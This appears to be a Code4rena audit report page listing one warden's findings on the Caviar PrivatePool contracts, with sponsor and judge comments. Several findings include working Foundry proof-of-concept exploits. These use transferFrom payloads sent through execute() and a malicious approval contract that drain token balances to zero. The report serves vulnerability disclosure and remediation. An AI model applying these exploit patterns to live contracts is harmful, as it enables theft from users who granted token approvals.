Platform: Code4rena
Start Date: 07/04/2023
Pot Size: $47,000 USDC
Total HM: 20
Participants: 120
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 4
Id: 230
League: ETH
Rank: 8/120
Findings: 7
Award: $1,235.91
🌟 Selected for report: 2
🚀 Solo Findings: 0
34.7892 USDC - $34.79
PrivatePool owner can steal all ERC20 and NFT from user via arbitrary execution.
In the current implementation of the PrivatePool.sol, the function execute is meant to claim airdrop, however, we cannot assume the owner is trusted because anyone can permissionlessly create private pool.
/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the /// pool. This allows for use cases such as claiming airdrops. /// @param target The address of the target contract. /// @param data The data to send to the target contract. /// @return returnData The return data of the transaction. function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) { // call the target with the value and data (bool success, bytes memory returnData) = target.call{value: msg.value}(data); // if the call succeeded return the return data if (success) return returnData; // if we got an error bubble up the error message if (returnData.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(); } }
the owner of private pool can easily steal all ERC20 token and NFT from the user's wallet after user give approval to the PrivatePool contract and the user has to give the approval to the pool to let the PrivatePool pull ERC20 token and NFT from the user when user buy or sell or change from EthRouter or directly calling PrivatePool,
the POC below shows, the owner of the PrivatePool can carefully crafting payload to steal fund via arbitrary execution.
after user's apporval, the target can be a ERC20 token address or a NFT address, the call data can be the payload of transferFrom or function.
Please add the code to Execute.t.sol so we can create a mock token
contract MyToken is ERC20 { constructor() ERC20("MyToken", "MTK", 18) {} function mint(address to, uint256 amount) public { _mint(to, amount); } }
Please add the POC below to Execute.t.sol
function testStealFundArbitrary_POC() public { MyToken token = new MyToken(); address victim = vm.addr(1040341830); address hacker = vm.addr(14141231201); token.mint(victim, 100000 ether); vm.prank(victim); token.approve(address(privatePool), type(uint256).max); console.log( "token balance of victim before hack", token.balanceOf(victim) ); address target = address(token); bytes memory data = abi.encodeWithSelector( ERC20.transferFrom.selector, victim, hacker, token.balanceOf(victim) ); privatePool.execute(target, data); console.log( "token balance of victim after hack", token.balanceOf(victim) ); }
We run the POC, the output is
PS D:\2023Security\2023-04-caviar> forge test -vv --match "testStealFundArbitrary_POC" [⠒] Compiling... [⠑] Compiling 1 files with 0.8.19 [⠃] Solc 0.8.19 finished in 8.09s Compiler run successful Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest [PASS] testStealFundArbitrary_POC() (gas: 753699) Logs: token balance of victim before hack 100000000000000000000000 token balance of victim after hack 0
As we can see, the victim's ERC20 token are stolen.
Manual Review
We recommend the protocol not let the private pool owner perform arbtirary execution, the private pool can use the flashloan to claim the airdrop himself.
#0 - c4-pre-sort
2023-04-18T07:54:21Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-20T16:38:06Z
0xSorryNotSorry marked the issue as primary issue
#2 - c4-sponsor
2023-04-22T09:26:45Z
outdoteth marked the issue as sponsor confirmed
#3 - outdoteth
2023-04-24T10:13:22Z
Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/2
The proposed fix is to revert if execute tries to call the baseToken
or nft
contract. It's very unlikely a user will approve any other token than these to the pool so this serves as a sufficient check to prevent the stealing outlined in the exploit.
if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();
#4 - GalloDaSballo
2023-04-27T09:03:45Z
@outdoteth Wouldn't the owner be the one owning all of the deposited assets anyway?
#5 - outdoteth
2023-04-27T11:31:35Z
@GalloDaSballo The exploit is not about the owner having ownership over owned deposits but rather about stealing non-deposited user funds.
For example,
transferFrom
to transfer all of her Miladies (123, 555, 111) from her walletAlice has now lost all of her Miladies. The same also applies to baseToken approvals when Alice wants to buy some NFTs.
The proposed fix is to prevent "execute()" from being able to call the baseToken
or nft
contracts so that the above example can never occur.
#6 - GalloDaSballo
2023-04-30T09:07:11Z
Thank you @outdoteth for clarifying
#7 - GalloDaSballo
2023-04-30T09:11:15Z
The Warden has shown how, because of thesetApprovalForAll
pattern, mixed with the execute
function, a PrivatePool
may be used to harvest approvals from users, causing them to lose all tokens.
I have considered downgrading the finding because of the Router technically providing a safety check against the pool
However, I believe that the risky pattern of direct approvals to the pool is demonstrated by the pull transfer performed by the FlashLoan function: https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L648-L649
ERC721(token).safeTransferFrom(address(receiver), address(this), tokenId);
For that call to work, the user / user-contract will have to have approved the pool directly
For this reason I agree with High Severity
#8 - c4-judge
2023-05-01T19:21:46Z
GalloDaSballo marked the issue as selected for report
34.044 USDC - $34.04
Should not use msg.value inside for loop in EthRouter.sol
In the current implementation, the user is expected to call change on EthRouter.sol to perform multiple changes in one transaction.
function change( Change[] calldata changes, uint256 deadline ) public payable { // check deadline has not passed (if any) if (block.timestamp > deadline && deadline != 0) { revert DeadlinePassed(); } // loop through and execute the changes for (uint256 i = 0; i < changes.length; i++) { Change memory _change = changes[i]; // transfer NFTs from caller for (uint256 j = 0; j < changes[i].inputTokenIds.length; j++) { ERC721(_change.nft).safeTransferFrom( msg.sender, address(this), _change.inputTokenIds[j] ); } // approve pair to transfer NFTs from router ERC721(_change.nft).setApprovalForAll(_change.pool, true); // execute change PrivatePool(_change.pool).change{value: msg.value}( _change.inputTokenIds, _change.inputTokenWeights, _change.inputProof, _change.stolenNftProofs, _change.outputTokenIds, _change.outputTokenWeights, _change.outputProof );
However, the code above msg.value inside a for loop, if the change array has more than one element, the transaction would always revert and run out of fund.
Please add the following POC below in Change.t.sol, we are trying to create two private pool and perform change of both pool in one transaction via EthRouter.sol
function test_msg_value_inside_for_loop() public { PrivatePool privatePool1 = new PrivatePool( address(factory), address(royaltyRegistry), address(stolenNftOracle) ); PrivatePool privatePool2 = new PrivatePool( address(factory), address(royaltyRegistry), address(stolenNftOracle) ); privatePool1.initialize( address(0), address(milady), 10e18, 10e18, 50000, 1999, bytes32(0), true, false ); privatePool2.initialize( address(0), address(milady), 10e18, 10e18, 50000, 1999, bytes32(0), true, false ); milady.setApprovalForAll(address(ethRouter), true); for (uint256 i = 0; i < 5; i++) { milady.mint(address(privatePool1), i); } for (uint256 i = 5; i < 10; i++) { milady.mint(address(this), i); } for (uint256 i = 10; i < 15; i++) { milady.mint(address(privatePool2), i); } for (uint256 i = 15; i < 20; i++) { milady.mint(address(this), i); } uint256[] memory inputTokenIds = new uint256[](5); uint256[] memory inputTokenWeights = new uint256[](0); uint256[] memory outputTokenIds = new uint256[](5); uint256[] memory outputTokenWeights = new uint256[](0); for (uint256 i = 0; i < 5; i++) { inputTokenIds[i] = i + 5; outputTokenIds[i] = i; } uint256[] memory inputTokenIds1 = new uint256[](5); uint256[] memory outputTokenIds1 = new uint256[](5); for (uint256 i = 0; i < 5; i++) { inputTokenIds1[i] = i + 15; outputTokenIds1[i] = i + 10; } EthRouter.Change[] memory changes = new EthRouter.Change[](2); changes[0] = EthRouter.Change({ pool: payable(address(privatePool1)), nft: address(milady), inputTokenIds: inputTokenIds, inputTokenWeights: inputTokenWeights, inputProof: PrivatePool.MerkleMultiProof( new bytes32[](0), new bool[](0) ), stolenNftProofs: new IStolenNftOracle.Message[](0), outputTokenIds: outputTokenIds, outputTokenWeights: outputTokenWeights, outputProof: PrivatePool.MerkleMultiProof( new bytes32[](0), new bool[](0) ) }); changes[1] = EthRouter.Change({ pool: payable(address(privatePool2)), nft: address(milady), inputTokenIds: inputTokenIds1, inputTokenWeights: inputTokenWeights, inputProof: PrivatePool.MerkleMultiProof( new bytes32[](0), new bool[](0) ), stolenNftProofs: new IStolenNftOracle.Message[](0), outputTokenIds: outputTokenIds1, outputTokenWeights: outputTokenWeights, outputProof: PrivatePool.MerkleMultiProof( new bytes32[](0), new bool[](0) ) }); (uint256 changeFee1, ) = privatePool1.changeFeeQuote( inputTokenIds.length * 1e18 ); (uint256 changeFee2, ) = privatePool2.changeFeeQuote( inputTokenIds.length * 1e18 ); uint256 balanceBefore = address(this).balance; // deal(address(ethRouter), 1000 ether); // act ethRouter.change{value: changeFee1 + changeFee2}(changes, 0); }
If we run the test,
forge test -vvv --match "test_msg_value_inside_for_loop"
We are getting error OutofFund
│ ├─ [0] PrivatePool::change{value: 50000000000000000000}([15, 16, 17, 18, 19], [], ([], []), [], [10, 11, 12, 13, 14], [], ([], [])) │ │ └─ ← "EvmError: OutOfFund" │ └─ ← "EvmError: Revert" └─ ← "EvmError: Revert" Test result: FAILED. 0 passed; 1 failed; finished in 9.96ms Failing tests: Encountered 1 failing test in test/EthRouter/Change.t.sol:ChangeTest [FAIL. Reason: EvmError: Revert] test_msg_value_inside_for_loop() (gas: 7763426) Encountered a total of 1 failing tests, 0 tests succeeded
Why do we get OutOfFund error, because no matter what msg.value is, the first for loop is using up the msg.value, so in the second PrivateRouter#change call, there is no ETH to use, unless there is already ETH inside the ETHRouter.sol, which should not be the case.
In the above test case, if we uncomment the code below before calling ethRouter.change
deal(address(ethRouter), 1000 ether);
we run the test case again, the test actually pass, in the second for loop of the change via ETHRouter.sol, the ETH inside the ETHRouter.sol is consumed.
Manual Review, Foundry
We recommend the protocol change from
// execute change PrivatePool(_change.pool).change{value: msg.value}( _change.inputTokenIds, _change.inputTokenWeights, _change.inputProof, _change.stolenNftProofs, _change.outputTokenIds, _change.outputTokenWeights, _change.outputProof );
to
// execute change PrivatePool(_change.pool).change{value: _change.changeFee}( _change.inputTokenIds, _change.inputTokenWeights, _change.inputProof, _change.stolenNftProofs, _change.outputTokenIds, _change.outputTokenWeights, _change.outputProof );
inside the for loop of the change function in EthRouter.sol
#0 - c4-pre-sort
2023-04-19T21:40:16Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-20T16:55:16Z
0xSorryNotSorry marked the issue as duplicate of #873
#2 - c4-judge
2023-05-01T07:12:00Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: AkshaySrivastav
Also found by: 0xTheC0der, Dug, GT_Blockchain, Haipls, adriro, bin2chen, carlitox477, dingo2077, fs0c, hasmama, hihen, holyhansss_kr, juancito, ladboy233, philogy, saian, said, sashik_eth, yixxas, zion
10.8554 USDC - $10.86
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L92 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L484
PrivatePool deployment via Factory is prone to frontrunning and MEV
In the current implementation, the deployed private pool address is determinstically computed by the salt value.
/// @notice Predicts the deployment address of a new private pool. /// @param salt The salt that will used on deployment. /// @return predictedAddress The predicted deployment address of the private pool. function predictPoolDeploymentAddress(bytes32 salt) public view returns (address predictedAddress) { predictedAddress = privatePoolImplementation.predictDeterministicAddress(salt, address(this)); }
the salt is used when creating the private pool as well in the factory.sol
// deploy a minimal proxy clone of the private pool implementation privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt))); // mint the nft to the caller _safeMint(msg.sender, uint256(uint160(address(privatePool)))); // initialize the pool privatePool.initialize( _baseToken, _nft, _virtualBaseTokenReserves, _virtualNftReserves, _changeFee, _feeRate, _merkleRoot, _useStolenNftOracle, _payRoyalties );
Because the address is determinitic and can be derived by salt, this create an chance for MEV.
consider the transaction order below, user A pre-compute the private pool address.
User B, a malicious user monitor the mempool and spot the transaction above.
User B submit a flashbot bundle with another transaction that call Factory.sol#create with the same salt to frontrun user A and create the private pool first.
Then User A's transaction deposit execute and User A's fund is added as liquidity into the private pool.
User A's Factory.sol#create transaction with salt 1 revert because he was frontrunned by User B.
User A also find out he is not the owner of the pivate pool because he does not hold the factory NFT of the private pool with salt 1, user B is the owner of the private pool with salt 1.
User A also lose the fund and liquidity he added to private pool beacuse user B is the owner of the private pool and he can remove the fund from the pool via arbitrary execution or call withdraw
/// @notice Withdraws NFTs and tokens from the pool. Can only be called by the owner of the pool. /// @param _nft The address of the NFT. /// @param tokenIds The token IDs of the NFTs to withdraw. /// @param token The address of the token to withdraw. /// @param tokenAmount The amount of tokens to withdraw. function withdraw( address _nft, uint256[] calldata tokenIds, address token, uint256 tokenAmount ) public onlyOwner { // ~~~ Interactions ~~~ // // transfer the nfts to the caller for (uint256 i = 0; i < tokenIds.length; i++) { ERC721(_nft).safeTransferFrom( address(this), msg.sender, tokenIds[i] ); } if (token == address(0)) { // transfer the ETH to the caller msg.sender.safeTransferETH(tokenAmount); } else { // transfer the tokens to the caller ERC20(token).transfer(msg.sender, tokenAmount); } // emit the withdraw event emit Withdraw(_nft, tokenIds, token, tokenAmount); }
This is MEV because User B can manipulate the transaction order to make sure if use B's create private pool transaction lands before User A's create private pool transaction and User A's depoist transaction, User B can profit and extract value from User A.
Manual Review
We recommend the protocol use more field to derive and compute the deployed private pool address to avoid such frontrunning.
#0 - c4-pre-sort
2023-04-20T17:18:08Z
0xSorryNotSorry marked the issue as duplicate of #419
#1 - c4-judge
2023-05-01T07:23:11Z
GalloDaSballo marked the issue as satisfactory
239.8944 USDC - $239.89
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L423 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L651
Transaction revert if the baseToken does not support 0 value transfer when charging changeFee
When call change via the PrivatePool.sol, the caller needs to the pay the change fee,
// calculate the fee amount (feeAmount, protocolFeeAmount) = changeFeeQuote(inputWeightSum); } // ~~~ Interactions ~~~ // if (baseToken != address(0)) { // transfer the fee amount of base tokens from the caller ERC20(baseToken).safeTransferFrom( msg.sender, address(this), feeAmount );
calling changeFeeQuote(inputWeightSum)
function changeFeeQuote( uint256 inputAmount ) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) { // multiply the changeFee to get the fee per NFT (4 decimals of accuracy) uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4; uint256 feePerNft = changeFee * 10 ** exponent; feeAmount = (inputAmount * feePerNft) / 1e18; protocolFeeAmount = (feeAmount * Factory(factory).protocolFeeRate()) / 10_000; }
if the feeAmount is 0,
the code below woud revert if the ERC20 token does not support 0 value transfer
ERC20(baseToken).safeTransferFrom( msg.sender, address(this), feeAmount );
According to https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers
Some tokens (e.g. LEND) revert when transferring a zero value amount.
Same issue happens when charging the flashloan fee
function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 tokenId, bytes calldata data ) external payable returns (bool) { // check that the NFT is available for a flash loan if (!availableForFlashLoan(token, tokenId)) revert NotAvailableForFlashLoan(); // calculate the fee uint256 fee = flashFee(token, tokenId); // if base token is ETH then check that caller sent enough for the fee if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount(); // transfer the NFT to the borrower ERC721(token).safeTransferFrom( address(this), address(receiver), tokenId ); // call the borrower bool success = receiver.onFlashLoan( msg.sender, token, tokenId, fee, data ) == keccak256("ERC3156FlashBorrower.onFlashLoan"); // check that flashloan was successful if (!success) revert FlashLoanFailed(); // transfer the NFT from the borrower ERC721(token).safeTransferFrom( address(receiver), address(this), tokenId ); // transfer the fee from the borrower if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee); return success; }
note the code:
if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee);
if the fee is 0 and baseToken revert in 0 value transfer, the user cannot use flashloan
Manual Review
We recommend the protocol check if the feeAmount is 0 before performing transfer
if(feeAmount > 0) { ERC20(baseToken).safeTransferFrom( msg.sender, address(this), feeAmount ); }
#0 - c4-pre-sort
2023-04-20T17:53:07Z
0xSorryNotSorry marked the issue as primary issue
#1 - c4-sponsor
2023-04-22T17:20:21Z
outdoteth marked the issue as sponsor confirmed
#2 - c4-sponsor
2023-04-24T19:44:44Z
outdoteth marked the issue as sponsor acknowledged
#3 - GalloDaSballo
2023-04-28T11:38:17Z
The Warden has shown a edge case, when fee are 0 the call to safeTransfer
is still performed, this can cause certain ERC20s to revert
Because the PrivatePools are meant to work with ERC20s, and this revert is conditional on the specific token implementation
I agree with Medium Severity
#4 - c4-judge
2023-04-28T11:38:21Z
GalloDaSballo marked the issue as selected for report
112.1045 USDC - $112.10
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281
Transaction revert in royalty fee recipient of the NFT cannot receive ETH
In the current implementation, when buying or selling via the PrivatePool, if the payRoyalties flag is enabled, the code is expected to transfer the royaliy fee to the recipient
if (payRoyalties) { for (uint256 i = 0; i < tokenIds.length; i++) { // get the royalty fee for the NFT (uint256 royaltyFee, address recipient) = _getRoyalty( tokenIds[i], salePrice ); // transfer the royalty fee to the recipient if it's greater than 0 if (royaltyFee > 0 && recipient != address(0)) { if (baseToken != address(0)) { ERC20(baseToken).safeTransfer(recipient, royaltyFee); } else { recipient.safeTransferETH(royaltyFee); } } } }
calling _getRoyalty
/// @notice Gets the royalty and recipient for a given NFT and sale price. Looks up the royalty info from the /// manifold registry. /// @param tokenId The token ID of the NFT. /// @param salePrice The sale price of the NFT. /// @return royaltyFee The royalty fee to pay. /// @return recipient The address to pay the royalty fee to. function _getRoyalty( uint256 tokenId, uint256 salePrice ) internal view returns (uint256 royaltyFee, address recipient) { // get the royalty lookup address address lookupAddress = IRoyaltyRegistry(royaltyRegistry) .getRoyaltyLookupAddress(nft); if ( IERC2981(lookupAddress).supportsInterface( type(IERC2981).interfaceId ) ) { // get the royalty fee from the registry (recipient, royaltyFee) = IERC2981(lookupAddress).royaltyInfo( tokenId, salePrice ); // revert if the royalty fee is greater than the sale price if (royaltyFee > salePrice) revert InvalidRoyaltyFee(); } }
note the line of code:
recipient.safeTransferETH(royaltyFee);
although the NFT implements the IERC2981 standard and set the recipient, this does not mean that the recipient must able to receive ETH, if the recipient is a smart contract does not implementation receive payable function and cannot receving ETH, the buy / sell transaction revert because the code for trying to forcefully send ETH to the recipient
function safeTransferETH(address to, uint256 amount) internal { bool success; /// @solidity memory-safe-assembly assembly { // Transfer the ETH and store if it succeeded or not. success := call(gas(), to, amount, 0, 0, 0, 0) } require(success, "ETH_TRANSFER_FAILED"); }
Manual Review
We recommend the protocol wrap the ETH to WETH and send to recipient to avoid transaction revert.
#0 - c4-pre-sort
2023-04-20T17:47:57Z
0xSorryNotSorry marked the issue as duplicate of #713
#1 - c4-judge
2023-05-01T07:03:55Z
GalloDaSballo marked the issue as satisfactory
506.2665 USDC - $506.27
Prev NFT Owner can rug the later NFT Owner
The creator of the private pool has a factory NFT, representing the ownership of the Private Pool
modifier onlyOwner() virtual { if (msg.sender != Factory(factory).ownerOf(uint160(address(this)))) { revert Unauthorized(); } _; }
the owner of the private pool is a very powerful role, he can call all function that has onlyOwner modifier
one of the function is very dangerous
/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the /// pool. This allows for use cases such as claiming airdrops. /// @param target The address of the target contract. /// @param data The data to send to the target contract. /// @return returnData The return data of the transaction. function execute( address target, bytes memory data ) public payable onlyOwner returns (bytes memory) { // call the target with the value and data (bool success, bytes memory returnData) = target.call{value: msg.value}( data ); // if the call succeeded return the return data if (success) return returnData; // if we got an error bubble up the error message if (returnData.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(); } }
the arbitrary allows the old NFT owner to rug new NFT Owner.
Please add the POC below:
Please add the mock token and the malicious contract in Execute.t.sol
contract MyToken is ERC20 { constructor() ERC20("MyToken", "MTK", 18) {} function mint(address to, uint256 amount) public { _mint(to, amount); } } contract BadContract { address owner; constructor() { owner = msg.sender; } function steal( address token, address from, address to, uint256 amount ) public { require(msg.sender == owner, "invalid caller"); ERC20(token).transferFrom(from, to, amount); } }
then the test case
function testOldOwnerRugNewOwner() public { address oldOwner = address(this); address newOwner = vm.addr(9324238981); MyToken token = new MyToken(); token.mint(address(privatePool), 10000000 ether); console.log( "private pool has token balance", token.balanceOf(address(privatePool)) ); // old owner creating a sell order on secondary market such as opensea // old owner deploy the malicious contract, // and give the bad contract spending allowance of the private pool via arbtriary call BadContract badContract = new BadContract(); address target = address(token); bytes memory data = abi.encodeWithSelector( ERC20.approve.selector, address(badContract), type(uint256).max ); privatePool.execute(target, data); // the sell order is filled and new owner buy the old owner's factory NFT vm.mockCall( address(factory), abi.encodeWithSelector( ERC721.ownerOf.selector, address(privatePool) ), abi.encode(address(newOwner)) ); // old owner still capable of steal all base token from the private pool badContract.steal( address(token), address(privatePool), address(this), token.balanceOf(address(privatePool)) ); console.log( "private pool token balance is cleared out", token.balanceOf(address(privatePool)) ); }
We run the test
forge test -vv --match testOldOwnerRugNewOwner
the output is
Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest [PASS] testOldOwnerRugNewOwner() (gas: 907083) Logs: private pool has token balance 10000000000000000000000000 private pool token balance is cleared out 0
In fact, the test case above shows the nft owner can always use execute to perform malicious approval and steal base token later, the owner can perform the malicious approval of NFT and steal all NFT from the perform even the ownership is transferred.
Manual Review, Foundry
We recommend the protocol not let the owner perform arbitrary call via execute.
#0 - c4-pre-sort
2023-04-18T07:52:07Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-20T17:54:51Z
0xSorryNotSorry marked the issue as primary issue
#2 - c4-sponsor
2023-04-22T09:14:15Z
outdoteth marked the issue as sponsor confirmed
#3 - outdoteth
2023-04-22T09:15:41Z
Without reducing functionality I think an appropriate fix is to indicate this to the user somehow. Perhaps each time a user calls execute
a counter is incremented. then in the rendered svg it shows "execution calls: 5". When a buyer sees that the amount of execution calls is non-zero they know to be extra vigilant.
#4 - outdoteth
2023-04-25T09:52:29Z
#5 - c4-judge
2023-04-28T11:02:59Z
GalloDaSballo marked the issue as duplicate of #230
#6 - c4-judge
2023-04-30T16:37:22Z
GalloDaSballo changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-05-01T07:28:57Z
GalloDaSballo marked the issue as satisfactory